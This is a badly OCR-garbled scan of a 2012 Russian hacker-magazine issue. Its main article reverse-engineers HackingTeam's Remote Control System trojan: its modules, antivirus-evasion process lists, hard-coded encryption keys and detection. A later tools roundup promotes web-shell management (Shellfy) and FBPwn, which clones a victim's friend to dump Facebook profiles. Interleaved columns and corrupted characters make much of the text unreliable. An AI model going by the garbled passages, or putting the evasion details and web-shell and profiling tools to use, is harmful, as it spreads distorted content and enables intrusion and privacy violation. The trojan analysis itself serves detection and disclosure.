КОММЕРЧЕСКИЙ ЗЛОВРЕД

REMOTE CONTROL SYSTEM в IТ-сообществе принято считать

безусловным злом любой софт, который крадет персональные данные пользователя и приносит огромную прибыль киберпреступникам. Между тем существуют вполне легальные компании, которые

разрабатывают и продают трояны.

НЕЛЕГАЛЬНОЕ ЛЕГАЛЬНО Неужели действительно кто-то разрабатывает и продает вредо­ носное ПО легально? Да , только тот же самый софт, за создание которого еще вчера могли при влечь к ответственности, разраба­ тывается не со злым умыслом, а для решения вполне легитим-

ных задач. Скажем, спецслужбы могут осуществлять с помощью программ, ко торые совсем недавно использовались как трояны,

сбор оперативной информации

- где тут вредоносность? Восьмого 2011 года крупнейший европейский хакерский клуб Chaos Computer Club [ССС] опубликовал отчет о реверс-инжиниринге октября

трояна , который немецкая полиция якобы использовала не только

для сбора пользовательски х данных, но и для скрытой установки программного обеспечения на зараженные компьютеры. Власти

официально зтот факт подтвердили. А в декабре исследователь и завсегдатай форума

XDA-developers Тревор Экхарт обнаружил, что Android и iPhone, скрыто

ряд современных смартфонов, в том числе

следят за действиями пользователей и передают собранную «статистику» производителям. Подробнее об этих двух инцидентах

можешь прочитать во врезке. Сейчас же я предлагаю рассмотреть один из таких «легальных троянов»

- Remote Control System,

узнать, что о нем говорят разработчики, и разобраться, что он на На нашем диске ть!

самом деле собой представляет.

найдешь видео, в котором наглядно показан процесс

REMOTECONTROLSYSTEM

обнаружения трояна

Скажу прямо, сам производитель предоставляет о программе

RCS в системе

крайне скудную информацию. На официальном сайте итальянской

ХАКЕР

02/157/2012


Легальный троян: это как?

G

Значение

Поле

~ действителен по

..

31 июля

~ откры ыый КЛЮЧ li! основные ограничения ~ Точки распространения сп ... ~ ПолитикисертиФИката ~ Улучшенный ключ ~ Лnrтvn ~

1......

rhnnM-"I IIAlА

n

Ilj:Io

2011г .

pub1ic statio SecretKey DeriveKey(String paramString) thraws NoSuchAlgorithmExcept1on

1:59:59

•• . •

int i

.

=

О:

String localObject

RSA (1024 Bits) Тип субъекта=Конечный су ... [l]ТОЧка распределения спи ...

МеэsаgеDigезt

tJ

lосаlНе з sаgеD1gезt

пюlе

z

"заlе" ;

lосаlМеззаgеDigезt;

-

НеззаgеDigезt.gеtInstаn се( "SНА-l" ) ;

( i < 128)

(

[l] Политика сертификата:И ...

byte [] a rrayOfBytel

Подписывание кода

lос а lМеззаgеDigезt.uрdаtе(аrrауОfВуtеl) ;

(1.3.6. 1•.•

r1 1 лnrтvn It' rRj:Ionj:lol-lUQМ I IP-...T

G

byte [.]

arrayOtByte2

= =

10с а lОЬjесt . gеtВуtез{);

раramString.gеtВуtез ();

lосаlНеззаgеD1gезt.uрdаtе( аrr ауоtВуtе2 ) ;

byte []

CN = НТSгl OU = Digital 10 Class 3 • Мicrоsоft Software Validation У2

аrrауОfВуtеЗ

~

lос а lНеззаgеDigе~t . digеst() ;

lос а lМеээаgеDigе~t.uрdаtе{ аrrауоtВуtеЗ);

i+- 1;

О =НТSгl

hyte [] arrayOfByte4 - lосаlНеss аgеDigеst.digеэt(); byte [] arrayO~ByceS с nеп byte [16]; int j - a rra yOfByteS . length; Sузtеm.8L'L'dусору(аrrауОtВуtе4, О, arrayOfByteS, О, j) ; SecretKeySpec эрес = new SecretKeySpec (arrayOfByteS, "AES" ); return (Se cretKey) ~ pe c ;

L = Milan S = ltaly С = IТ

}

Реквизиты стороны, ПОАписавwей х64'Арайвер

Восстановленная функция выработки ключа Апdгоid-версии малвари

компании HackingTeam Iwww. hack ingteam.it) можно найти всего

не помеха. И зто действительно так: при работе на зараженной

лишь несколько презентаций и два видеоролика . Однако этого

машине троян не вызывает подозрений у «Антивируса Касперско­

вполне достаточно для пони мания того, что возможности

го» со стандартными настройками, файервол Zопе

RCS

Alarm спокойно RootkitRevealer Руссиновича не показывает подозрительного. Один лишь Wireshark, установленный на

просто огромны. Программа позволяет собирать информацию об

пропускаеттрафик, а

операционной системе, нажатиях клавиш, автоматически делает

ничего

скриншоты экрана, окон и областей, в которых пользователь

компьютере-маршрутизаторе, фиксирует некоторое количество

кликнул мышкой. Вдобавок программа умеет перехватывать пере­

НТТР-РОSТ-запросов к одному из серверов винтернете.

писку в чатах, а также разговоры в

Skype, Google Talk

и других 1М.

Если у зараженного пользователя подключена веб-камера, троян

ОБНАРУЖЕНИЕ

может делать с ее помощью фотографии и передавать их на сервер

Как оказалось, обнаружить троян довольно легко, достаточно

атакующего. Более того, в

лишь загрузиться с загрузочной флешки и прошерстить винчестер

RCS

имеется специальный модуль,

который постоянно сканирует файловую систему зараженного

зараженного компьютера.

компьютера, а затем передает на сервер файлы с определенными

диска С, либо в %АРРОАТА%, а также генерирует ключ реестра со

расширениями. Существуют версии зловреда для

случайным именем в разделе Ruп, причем при работе зараженной

Windows,

Мас и

ряда мобильных платформ, среди которых следует особо выделить

iPhone

и

Android.

Производитель заверяет, что

RCS

совершенно не

видна в зараженной системе и антивирусы с файерволами ей тоже

RCS

создает директорию либо в корне

системы директория и ключ не видны для файл-менеджеров и ре­ дакторов реестра. Чуть позже я расскажу, почему, а пока останов­ люсь на компонентах трояна.

Модная нынче тенденция реализовывать малварь не в виде ехе, а в виде библиотеки

dll

не обошла стороной и разработчиков

Вообще, версия зтого трояна для

Windows

RCS.

включает в себя следую­

щие компоненты Iимена модулей могут отличаться в зависимости от версии/хозяина):

CARRIER IQ: ЛЕГАЛЬНЫЙ ТРОЯН В СМАРТФОНАХ

1. Основной модуль 7КОmРРРS.ТRК 10LL, х86). Файл конфигурации a5jt555f.Qu6. Э. Кодекдля кодирования речи CrThBBBT.7ar 10LL, х86). 4. Дополнительный х64-модуль tms5ggg8.T4t 10LL, х64). 5. Драйвер х64 OCfkvvvw.HiO ISYS, х64). 6. Драйвер х86 УОхоhhhп.рУS ISYS, х86).

2.

Копаясь в прошивке Апdгоid-смартфонов фирмы НТС, Тревор Экхарт обнаружил программу, работающую в скрытом режиме и собирающую информацию о нажатиях клавиш на диалере

Любой здравомыслящий человек сразу задаст вопрос о скрытой

или клавиатуре, просмотре рекламных объявлений, получении

установке х64-драйвера в систему. Здесь нет ничего необычного,

СМС, включении и отключении экрана, получении звонков,

разработчики пошли по пути наименьшего сопротивления и просто

местоположении и т. д. Дальнейшие исследования показали,

подписали его своей электронной подписью. К слову сказать, зто

что эта программа является детищем фирмы

их и палит Iсмотри первую иллюстрацию), так как Гугл моменталь­

Carrier 10,

которая

активно сотрудничает с производителями как смартфонов, так

но наводит нас на сайт производителя трояна.

и простых мобильных телефонов. Производитель оборудования получает исходники программы от СЮ, дорабатывает их и внедряет в прошивку устройства. Кроме того,

CIO

предоставляет

ГДЕ СОБАКА ЗАРЫТА? Сразу скажу, что я коснусь в основном только х86-версии

RCS.

удобный интерфейс для работы с полученными данными.

Как уже отмечалось ранее, основной модуль представляет собой

Элементы кода программы были найдены в прошивках с Sense UI, а также на аппаратах производства Samsung с интерфейсом Touch Wiz. В результате проделанной работы Тревор написал

динамическую библиотеку для архитектуры х86 .

про грамму, которая позволяет проверить телефон на наличие

щее троян, имеет следующий -вид:

этого руткита и, если в смартфоне есть права

root, удалить рут кит Iподробнее читай на bit.ly/sdkKcE).

ХАКЕР

02/157/2012

011

экспортирует

восемь функций с ничем не примечательными именами :

HFF2, ... , HFF8.

HFF1,

Значение ключа реестра в разделе Ruп, запускаю­

попытаться ruпdllЗ2 .. ехе "с:

\ trSMKKK8\7KOmPPPs. TRK" J НН8

065


взлом

-

и намекает на то, что в первую очередь необходимо изучить

восьмую функцию

HFF8.

Вообще , закидывая

dll

в

IOA,

я думал, что

нарвусь на какой-нибудь пакер или навороченную защиту, но и с этим разработчики не стали заморачиваться

-

антиотладочных

сре д ст в я не обнаружил, программа имела только защиту против статического анализа кода, которая скорее направлена против

антивирусов, нежели реверсера. Поэтому разбирать по косточкам

эту малварь было легко, удобно и интересно . ЗАПУСК Работу функции блоков. Первы й

HFF8 можно логически разделить на несколько - проверка основных модулей трояна: сначала

он проверяет, является ли гuпdllЗ2.ехе текущим процессом, далее перебирает все

dll,

подгруженные в адресное пространство, затем

пытается получить в каждом из них адрес функции

HFF1

и срав­

нивает полученный адрес с уже имеющимся значением . Далее при помощи функции

GetModuleFileNameExW троян

получает имя своей

главной dlllc путем!, преобразует его в ASCII и оставляет только имя файла. Путь к файл у и имя файла сохраняются в дву х разных буферах в shагеd-сегменте, где выделена память для данных, доступ к которым нужен другим процессам, в чье адресное про­

странство также подгружена

dll

с трояном. Затем каждый символ

пол учен ного имени заменяется на другой в соответствии с не­

которой таблицей , а новое имя файла [если все предыдущие шаги завершились успешно! копируется в shагеd-сегмент как имя файла с настройками. Каждый символ имени файла с настройками также кодируется при помощи некой таблицы для преобразования в имя еще одной части трояна. Таким образом и со здаются все необ хо ди­ мые имена файлов, которые записываются в shагеd-сегмент дина­ мической библиотеки. После имен файлов в разделяемый сегмент

копируют с я имена объектов

FileMapping . Всего таких объектов три, KMS1, KMS2, КМSЗ. После каждого

и их названия имеют префиксы

префикса идет еще восемь hex-значениЙ . Троян считает проверку ус пешной, если найден основной модуль. Наличие остальных модулей на данном этапе не проверяется.

Малварь в диспетчере приложений

R2D2

Второй блок

-

Android

активация системы маскировки трояна. На этом

этапе инициализации троян сначала пытается открыть устройство

Осенью крупнейший европейский хакерский клуб

Chaos

Computer Club [ССС! опубликовал отчет о «полицейском трое»,

MSH40EV1, которое создается х86-драйвером [номер 6 в списке файлов! . Если все проходит успешно, то handle устройства сохра­ няется. Далее выполняется поиск антивирусного ПО, установлен­

который, как потом признали власти, действительно применялся

ного на зараженной машине. Для поиска троян всегда использует

силовыми ведомствами для сбора пользовательских данных.

один алгоритм: перебирает загруженные в систему драйвера и

Из-за того что в основном модуле трояна имеется строка СЗРО­

ищет нужный по определенному имени. Список распознаваемых

r2d2- POE, ему присвоили имя R2D2. Малварь состоит из DLL с именем mfc42ul.dll и драйвера winsys32.sys для архитектуры х86. При заражении DLL прописывается в ветку реестра SOFTWARE\ Microsoft\Windows NT\CurrentVersion\Windows\Applnit_DLLs и,

антивирусов довольно внушителен:

Avira, Avast, Еуее , ProcGuard, McAfee, Kerio, Comodo, Panda, TrendMicгo, Ashampoo, Kaspersky, AVG, BitDefender и еще пара-тройка экзотических для наших широт

следовательно, подгружается в адресное пространство каждого

тается установить в систему драйвер

GUI-приложения . Малварь скрыто делает скриншоты экрана,

пор не установлен!, который копируется в системную директорию

перехватывает нажатия клавиш клавиатуры, записывает звонки,

ndisk .sys. Установка выполняется CreateService, StartService и т. д. Затем троян пытается открыть устройство MSH40EV1 и найти загруженный драйвер ndisk.sys. Отмечу, что драйвер устанавли­

совершаемые при помощи

Skype,

и передает всю эту информацию

на удаленный сервер. Отмечу, что здесь механизм перехвата звонков такой же, как и в допустили разработчики,

RCS. Самый главный фейл, который - это использование во всех версиях

мал вари фиксированных ключей шифрования и алгоритма

AES

в режиме ЕСВ при полном отсутствии аутентификации,

продуктов. Учитывая особенности каждого антивируса, троян пы­

Windows

и переименовывается в

при помощи функций АОVАРIЗ2 типа

вается только в том случае, если на компьютере имеется любая антивирусная программа.

Третий блок

-

подготовка к шифрованию данных. Для шифро­

что позволяет практически любому пользователю интернета

вания данных используется алгоритм

управлять зараженной машиной.

блока и ключа по

Исследователи из ССС зареверсили протокол взаимодействия

YOxohhhn .pYS [если он до сих

128 бит.

AES

в режиме СВС с длиной

В ектор инициализации всегда нулевой, а

сами ключи хранятся в открытом виде в сегменте данны х. На этом

немецкой малвари с командным сервером и разработали

этапе для каждого ключа выполняется процедура

альтернативную программу управления. Члены клуба ССС также

ходе которой генерируются раундовые ключи. Результаты ее рабо­

обнаружили еще одну версию трояна, о чем сообщает одна из

ты для каждого ключа помещаются в shагеd-сегмент. Такой под хо д

последних заметок на их официальной странице

значительно сокращает время , затрачиваемое на шифрование,

066

www.ccc.de.

KeyExpansion,

ХАКЕР

в

02/157/2012


Легальный троян: это как?

так как он устраняет необходимость каждый раз разворачивать 128-битный ключ в набор раундовых ключей. В четвертом блоке инициализируются агенты-процедуры

Все функции WinAPI вызываются по адресам, которые выдает GetProcAddre55. Имена всех вызываемых функций зашифрованы шифром простой замены. Эти имена хранятся в сегменте данных и

сбора пользовательских данных. В процессе инициализации

расшифровываются каждый раз непосредственно перед исполь­

заполняется массив пар ключ-значение, где ключом является

зованием.

идентификатор агента, а значением

структура с указателями на

-

Версия трояна для 64-битных систем в принципе ничем не

функции первоначальной инициализации, функцию, код которой

отличается от версии под х86. В ней используется тот же самый

будет выполняться в другом процессе , и процедуру обработки по­

основной модуль, однако после запуска троян проверяет, не явля­

лученных пользовательских данных. При этом для каждого агента

ется ли система 64-битной, и если является, то в игру вступают

также вызывается функция первоначальной инициализации. В

драйвер, Rаписанные специально под х64.

dll

и

ходе инициализации агентов дешифруется файл с настройками и инициализируются только те сборщики данных, которые указаны

РАБОТА АГЕНТА В большинстве случаев код, внедренный в удаленный процесс, де­

в конфиге .

В пятом блоке запускаются удаленные потоки, собирающие

лает одно и то же: подгружает в адресное пространство своего про­

локальные потоки, которые получают собранные пользователь­

цесса dll основного модуля. После этого открываются FilеМаррiпg ' и [функция HFF4), а на определенные функции устанавливаются хуки [функция HFF3). По завершении этих процедур dll выгружается из

ские данные и обрабатывают их . На зтом процедура начальной

адресного пространства процесса, а поток впадает в бесконечный

инициализации завершается, и указанный инициализационный

цикл [засыпает на одну секунду, просыпается и засыпает вновь).

пользовательские данные . В запуске принимают участие другие

зкспортируемые функции:

HFF1, HFF2, HFF3.

После создаются

поток погружается в бесконечный цикл [while[true){ Sleep[1000);}). В ходе инициализации троян также проверяет, не заражена ли уже система. Алгоритм проверки на заражение достаточно

прост: троян ищет объекты FilеМаррiпg с определенными именами

При установке хуков проверяется имя текущего процесса. Если оно не попадает в определенный список, то устанавливаются толь­ ко те хуки, которые направлены на маскировку трояна в системе.

Вообще, этот зловред распознает следующие процессы:

[KMS1 ... , KMS2 ... , KMS3 ... ), и если находит, то система считается зараженной и процесс инициализации прекращается .

Следует сказать несколько слов и о вызове системных функций.

АNDRОID-ВЕРСИЯ

аур.ехе

RCS

Апdгоid-версия описываемого трояна представляет собой обыкновенный арk-файл, который при установке запрашивает максимальное количество разрешений, что вполне может насторожить даже самых неопытных пользователей. Мне не удалось полностью декомпилировать помощи

ApkManager, так

apk в

Jаvа-сценарий при

как код трояна слегка обфусцирован.

Однако большая его часть вполне успешно восстанавливается, правда, без имен классов, переменных и т. д .

ApkManager

оставляет в виде опкодов невосстановленные участки кода

и оборачивает их в комментарии, что позволяет почерпнуть дополнительную информацию о трояне. При разархивировании арk-файла сразу бросается в глаза, что в этой версии используется

паtivе-библиотека

[50), а также имеется зашифрованный файл с

ресурсами. Оказывается, этот файл также шифруется по алгоритму

AES

в режиме еве. При этом последний блок дополняется по

схеме

PKeS#5 и,

pct5*.exe k7*.exe avk.exe admin.exe bgscan.exe

как и прежде, используется нулевой вектор

pavark. ехе .. rku*.exe s.vv. ехе IceSword.exe gmer.exe avg5canx.exe RootkitRevealer.exe avscan.exe ,!vgarkt.exe sargui. ехе uncrackme. е.хе hiddenfinder.exe hackmon.exe Ta5kMan.exe outlook.exe 5kypepm.exe 5kype. ехе <;:hrome.exe firefox.exe

инициализации. В данном случае ключ хранится не в открытом

виде, а вырабатывается из фиксированной строки при помощи многократного вычисления хеш-функции. В расшифрованном файле с ресурсами находится множество строковых пар ключ­

значение, позволяющих получить информацию об используемых криптографических алгоритмах. Дальнейший анализ показал, что при запуске троян пытается

проэксплуатировать какую-нибудь уязвимость в

Android

и

получить права гоо! [на моем кастомном билде ему это сделать

не удалось). ReS также собирает пользовательские данные [SMS,

MMS, контакты) и информацию о сети сотовой связи, периодически включает микрофон телефона и записывает разговоры вокруг

и передает всё это добро на удаленный сервер. В диспетчере приложений малварь пытается замаскироваться под

5ervice,

com.android.

а при работе ест много памяти и сильно расходует батарею.

Вообще, здесь следует отдать должное производителям

Light -

антивируса для

Android, так

Dr.Web

как он спокойно палит этот

троян и выдает пользователю соответствующее предупреждение.

ХАКЕР

02 /1 57/2012

Распознавание процессов осуществляется только по именам,

-

поэтому, переименовав

RootkitRevealer.exe :-)

в

ololo.exe,

мы сможем

легко обнаружить троян .

ДЛЯ ПОИСКА АНТИВИРУСОВ

ТРОЯН ВСЕГДА ИСПОЛЬЗУЕТ ОДИН АЛГОРИТМ: ПЕРЕБИРАЕТ

ЗАГРУЖЕННЫЕ В СИСТЕМУ

ДРАЙВЕРА И ИЩЕТ НУЖНЫЙ ПО ОПРЕДЕЛЕННОМУ ИМЕНИ 067


взлом

а

Monilor

hundred thousand Remote Control System сап monitor from а few and up to hundreds of thousands oftargets.The whole system сап Ье managed Ьу а single easy to use interfaсе that simplifies day Ьу day investigation activities. -~

1

Рекламная брошюра

',",1т

-

-

- 'RCS ..

~_.

Cl)rl:10~)

-

.

~

-

----

- ••

RCS Отдельный агент, постоянно сканирующий файловую систему

Процессы взаимодействуют друг с другом посредством от­

t

крытых фаЙл - маппингов. На адресное пространство процесса

компьютера, подготавливает для передачи файлы

маппится не какой-то определенный файл, а участок свопа.

ными расширениями. Следует упомянуть и еще об одном потоке,

рядка

Маппинг с префиксом имени KMSl имеет маленький размер 'по­ 20 Кб) и служит для управления агентами . Каждый агент

заражать новые процессы. Троян запускает новые процессы на

периодически заглядывает в

компьютере от имени

га »

рер . Зловред использует крайне забавный способ для мониторинга

DWORD по адресу «начало_маппин­ + «идентификатор_агента » И считывает оттуда определенную

команду основного модуля. Второй маппинг служит для передачи

основному модулю собранных данных и имеет размер порядка Кб. Данные в виде картинки переводятся в формат

JPEG,

300

голосо­

вые данные кодируются кодеком speex ICrThBBBT.7ar). Обработан­ ная информация шифруется с помощью алгоритма

СВС

Ic нулевым

AES

определен­

который постоянно сканирует список текущи х процессав, чтобы

explorer.exe за

счет инжекции кода в Экспло­

активности Firefox: загружает из интернета библиотеки mozcrt19. dll, softokn3.dll и mozsqlite3.dll, которые просто посылают запросы к SQLite-базам браузера . Подобным образом троян работает и с некоторыми другими программами.

в режиме

вектором инициализации), сохраняется в текущей

директории и удаляется после передачи на сервер. Имена сохра­

РЕАКЦИЯ АНТИВИРУСА В качестве эксперимента я установил «Антивирус Касперского»

няемых в директории файлов представляют собой зашифрован­

и настроил его на максимальное информирование. При загрузке

ную простой заменой строку вида

системы АВ выдает сообщение о запуске

ХХХХ

попытке получения доступа к защищенному хранилищу паролей.

-

идентификатор агента, а

LOG_XXXX_YYYYYYYYY.log, где У ... У - случайные числа. Данные

dll

как приложения и

передаются по протоколу НТТР в теле РОSТ-запроса. Какая-либо

В этом сообщении, прямо скажем, нет ничего информативного, что

а у тентификация как на сервере, так и на клиенте отсутствует,

раскрывало бы суть вирусной активности на компьютере lесли бы я

позтому, зареверсив зтот простенький алгоритм передачи, можно

был обыкновенным пользователем , то, наверное , вообще никак на

здорово заспамить удаленный сервер и попытаться угнать его

него не прореагировал). При этом журнал антивируса начинает пе­

клиенты.

стреть сообщениями о разрешенном внедрении кода в сторонний

:-)

процесс , о разрешенном доступе к хранилищу паролей и так далее. ~

Dr.Web - Сканер

В общем, никакой пользы для конечного пользователя нет. Един­

ственный положительный момент состоит в том, что « Касперский » видит папку с троянам, однако она не вызывает у него никаких

подозрений, то есть заметить ее довольно сложно.

Проверка завершена.

Обнаружено угроз: 1 Выберите действие ДЛЯ каждой угрозы.

SUMMARY Вообще, видео на сайте производителя испугало меня больше, чем сам троян . Его несложно обнаружить и нейтрализовать, к тому же после знакомства с современными средствами создания ботне­

Android.SmsSend. origin.21

тов от расковырянной коммерческой малвари остаются весьма

противоречивые впечатления. Версия для выдерживает критики

-

Android

вообще не

она может испортить жизнь только тем

пользователям , которые вообще не следят за своим смартфоном, устанавливают приложения из неизвестных источников и безраз­ лично относятся к количеству подтверждений, запрашиваемых

приложениями. На примере этого трояна хорошо видно, что техно­ логии коммерсантов отстают от технологий их криминальных кол­ Отчет Dr.Web

068

Llght об обнаруженных вирусах

лег -

создателей

Zeus, TDSS, SpyEye

и других подобных вещей. :Х:

ХАКЕР

02 / 157/ 2012


ПРЕДЛОЖЕНИЕ МЕСЯЦА ДЛЯ ДЕРЖАТЕЛЕЙ

«МУЖСКОЙ КАРТЬ ~

15 парфюмов

.

«1 million» ОТ РАса RABANN Е

подробности на сайте

www.mancard.ru

м..J\.~J.м А Альфа.Банк {gameJland

- .

ОДА <Альфа-Банк». Генеральная лицензия банка России на осуществление банковских операций от

29.01.1998

N2IЗ2б"


взлом

Marlicq 884888, http://snipper.rul

СОФТ ДЛЯ ВЗЛОМА И АНАЛИЗА БЕЗОПАСНОСТИ

Автор:

Автор:

Авт о р:

Michael Hendrickx URL: michaelhendrickx. com/ lilith

Аноним

David Rook URL: agnitiotool.sourceforg e. net

Система:

· nix/wi n

URL: bit.ly/sw lI4w

-._-.............-__ _-,...-_..._... -=- _.. ... - .. -. .

Система :

_

· nix/win

и

')"U8I, 8

~~

....

_-_ _-_ ,---- ----_

Система:

Wind ows

~

':;::.::::::..~ . _-_

._! ..'""" .._-- ... _...-. . ....,,----- -___ '-

:::=...~=:-=--.

.......

..

=.;.~_

LiLith -

это перловый сканер и инжектор

НТТР-форм. Тулза анализирует веб-страницу

Если ты хочешь удобно работать с множе­

ИБ-сообществу известно великое множество

на наличие тегов

затем тестит

ством шеллов, то вряд ли найдешь средство

программ для статического анализа исход­

их на

работает почти

лучше

ников на критические ошибки . Тулза Аgпitiо

<form>, а SQL-инъекции. LiLith

Shellfy.

Основная идея этой системы,

так же, как обыкновенный поисковый паук,

написанной на

только снебольшим хакерским уклоном: она

лизации всего и вся .

инжектирует в формы различные спецсим­

частей: клиента и сервера. Клиентская часть

волы с определенными значениями, а за т ем

представляет из себя обычный РНР-шелл,

языков программирова н ия :

анализирует ответы веб-сервера. Основные

который необходимо сохранить на удаленном

особенности и функционал утилиты: малое количество ложных срабатываний;

сервере (точнее , много шеллов, которые нужно сохранить на разных серверах), а серверная

Java, JavaScript, Perl, Php, а также XML.

поддержка СоldFusiоп;

часть

Shellfy состоит

выгодно выделяется среди них открытостью

из двух

сорцов И универсальностью. Шутка ли, анали­

это, собственно, сам Регl ' овый скрипт

возможность передачи скриптам дополни­

управления шеллами. В основном окне про­ граммы содержится шесть вкладок, названия

рекурсивный сканер файлов и директорий.

которых говорят сами за себя:

.IH}i.t.h.•.pJ... www.:t.i.! r:'E~.t .• ~QI)! ... При этом есть ряд полезных параметров:

заключается в центра­

тельной инфы: кукисы, юзер-агент и т.д.;

в простейшем случае сканер запускается так:

• •

-

Perl,

d -директория

или файл для начала скана;

и-данные для

basic аuthепtiсаtiоп;

• • • • • •

«Шеллы » (Shells); «Домены » (Dоmаiпs); « Статистика » (Stаt~; « Обновление » (Update); «Настройки » (Sеttiпgs); « Прокси» (Ргоху).

ASP,

АSР. пеt, С#,

Руthоп ,

Ruby,

VВ.пеt,

Перечислю лишь некоторые особенности и функциональные возможности этой замеча­ тельной программы: возмож н ость команд н ой работы;

удобнейшие профили для ручного анализа

удобный профиль исследуемого приложе­

кода;

ния для анализа его исходников;

подробныеотчеты,отсортированные по име н и исследователя, имени приложения и многим дру г им параметрам;

списокделдля будущего анализа кода; Также имеется дополнительный раздел под

автоматический статический анализ кода;

р-прокси;

названием «Терминал » , который отвечает

встроенный список наводящих вопросов,

Т-

за общение с шеллами на удалённых серверах .

предназначенных для помощи в анализе

интервал между запросами;

кода (так называемый чек-лист).

f - запись расширенного лога в файл;

Начать работу со скриптом очень просто: залей

г-рекурсивный краулинг;

все содержимое архива в директорию сgi-Ып

Огромным плюсом проекта также являются

и запусти скрипт

его частые обновления. Как видишь, Аgпitiо

А - вывод на экран всех НТТР-кодов.

setup.pl.

Он проведет все

Остальные параметры,атакже подробный хелп

необходимые манипуляции автоматически.

на английском языке ты найдешь на официаль­

Подробнейший мануал по работе с

ном сайте ска нера.

настройке можно найти в папке с программой.

070

затор поддерживает большинство популярных

Shellfy и

вП'Олне может пригодиться любому профес­

ее

сиональному пентестеру (или целой команде профессионалов) в его каждодневной работе.

ХАКЕР

02 / 157/ 2012


X-Tools

Автор :

Согеу Goldberg URL: www.webinject.org Система:

· nix/win

"*-,-

...

,-, , ,

".,. I..DII _

ПЕНТЕСТ НПР-ИНТЕРФЕЙСОВ WebInject -

зто бесплатная у тилита,

0......0. . . 1t"1."

_

"".

INИoL

~

о.

1V __

1QI11t~~

1t:t"' _

JalIIIJ~

lU01...u.

_

_ .... ..... .ALI'IIII

1UOI1I7.rR1tL1tI'11II~

с на­

ского тестирования веб-приложений

программи ст. В ХМL-формате гене­

и веб-сервисов . Она под хо дит

рируются также и отчеты по пенте­

как для тестирования отдельных

стам, а значит, их можно успе шно

сис темны х компонентов с НТТР­

использовать в любой совместимой

интерфейсом (J5P, А5Р, CGI, РНР,

вн е шней программе .

AJAX, 5ervlets, HTML· Forms, XML! 50АР Web 5ervices, RE5T и т. д .],

является тот факт, что она напи са на

Не сом ненным плюсом проги

так и для создания целого набора

на

тестов, с помощью которых можно

чески на лю бой платформе . Однако

Perl

и может работать практи·

соби рать статистику и мониторить

на сегодняшний день зкзешник

работу сис темы почти в реальном

WebInject до с тупен пока только для Windows. Для запуска у тилиты

времени (к примеру, отслеживать время отклика в еб- прил оже ниЙ].

g _......-UI

XML, то

стройкой сможет справиться любой

Так как в качестве

• __

тестов вы с тупает язык

предназначенная для автоматиче­

в другой ОС т ебе понадобится раб о­

I~ НIPWn

Автор :

Автор :

Erik Hjelmvik URL: bit.ly/egH2pr

Edge·Security URL: bit.ly/QA9vl

Система:

Система :

Windows

·nix/win

чий интерпретатор

для создания

API

-

Perl.

Автор:

Вet .. - 0.1.6

,... #btU. lNpn>IOd.

~1WIt ~.....-.......

Nzr;:J,..,....J-w-...

~~ ......

N:tp:J""",J"""" •. DInp_""posU

' -vot "",,"lIII.

Ahmed Saafan URL: code.google.com/ p/ fbpwn

МIIOUt cm. . pcНo

;;=:::::=::::~=::==o ...... .. ,ph:to ...

Система:

1ПIIIony~ tttp:/Ir-. l кtboG. DInp . . . . .-.thorIy •..".."..,. ...... I(tp:',"-'.IК'ЬОО... Dutrp ".-.d ..

IHil!I:I~

·nix/win .

~~ ...... Н1р:/,..,.....,.....". .. OI8dr.fnltdr8Ql.lИt

1ПIIIony.-cl'mr ...... http:I,.,.....Juboo..·.~ ....... fnInd:I

ПОИМЕЙ FACEBOOIO Многие люди выкладывают в социальных сетях Замечательная утили та

Netwo rkMiner явля­

Е с ли тебя з аинтере со вал какой-либо сай т,

подробнейш у ю информацию о себе. И соверша­

ется одним из л уч ши х на сего дняшний день

то первым делом ты наверняка попытаешь ся

ют огромнейшую ошибку! Пра кти чески любо й

инструментов для анализа п е ре хваче нны х

раздобыть ма кс им у м информации о нем . К зтой

челове к при должном старании может узнать

данны х, которые сох ранены в формате РСАР.

информации относятся с вя за нные

о таки х ребята х почти все! В качестве примера

Утилита пассивно анализирует дамп с трафи­

адреса, имена субдоменов и т. д . Конечно,

одного из с ред с тв для раскрытия пер со наль­

ком , безошибо чн о определяет у частников об­

различные хаке рс кие комбайны вроде

ны х данны х приведу тулз у

мена сете выми данными и распознает опера­

WV5

e-mailAcunetix

включают в себя соответствующие моду­

открытое

ционные сис темы, ус тановл е нны е на каждом

ли , но применять их для зтой цели

хосте , по размеру окна, времени жизни пакета

что стрелять из п ушки по воробьям . В общем,

лей

и у ни ка льному набору флагов.

советую тебе использ о вать заме чательн ую

пользоват е лей за про с ы на добавление в друзья

NetworkMiner

вс е равно

FBPwn -

кросс-платформенное Jаvа-приложение , пред­

-

Facebook . Прога

отсылает списку заданных

та кже выдает ст рукт у рированн ую информацию

ути лит у

об открытых сессиях, активных п о рта х и про­

на последн ей конференции

чей инфраструкт у ре сети, снимает баннеры

питонов ский скрипт собирает всю вышепе­

сохраняет все фотографии, список друзей

различных демонов .

речисленную информацию из всех до с т у пны х

и прочую информацию из пр офи ля жерт вы.

Одной из самых важных фич программы

theHarvester,

продемонстрированную

на з наченное для дампа профил ей пользовате­

Black Hat. Этот

и жде т уведомлений о подтверждении . Как толь ко жертва одобряет запрос, приложение

публичных ис точн ико в , например по иско виков

является возможность извлекать файлы и сер­

и серверов с ключами

тификаты, передаваемые по сети. Эта функция

возможности и особенности у тили ты:

PGP.

Ф у нкциональные

Типичный сценарий работы

FBPwn выглядит

следующим образом:

1,

Со с траницы жертвы собирается в ся доступ ­

2.

Затем запускается fгiепdiпg-плагин, добав­

может бы ть использована для перехвата и со­

генерация о тчет ов

х ранения всевозможны х аудио- и виде о фай­

верификациянайденныхвиртуальных

лов. Поддерживаются протоколы ПР, НТТР

хос тов и субдоменов;

и 5МВ . ДЛЯ ни х до сту пно также извлечение

DN5 reverse looku p;

пользователь ских данны х (логинов и паролей].

поиск информации о пользователя х и хос та х

клонирующий имя и фото одного из др уз ей

Программ у можно использовать и для сниф­

в

жертвы.

фин га и парсинга трафика К слову, « в се го » за

500

BXML и HTML;

ная информация.

ляющий вдр уз ья всехдрузей же ртвы . З. Далее вдело вступаетсlоппiпg-плагин,

Google, Bing, Linkedin и Exa lead .

WLAN (IЕЕЕ 802.11].

евро разраб от чик

4. Пр имер команды для поиска всех e-mаil'ов,

предлагает и платную версию своего творе­

связанных с доменом

ния, с ног до головы у вешанную всяческими

пятистах результатах из выдачи Гу гла:

microsoft .com

в первы х

версии

ХАКЕР

NetworkM iner.

02 / 157/2012

бавлениевсписокдрузеЙ .

5.

После подтверждения запроса парсятся все д ос тупные страницы.

Чере з не скол ь ко минут жертва, возможно, уда­

д о полните льными плюш ками . Но в большин­

стве случаев нам вполне х ватит и б ес платной

Отсылается у помян у ты й выше запрос на до­

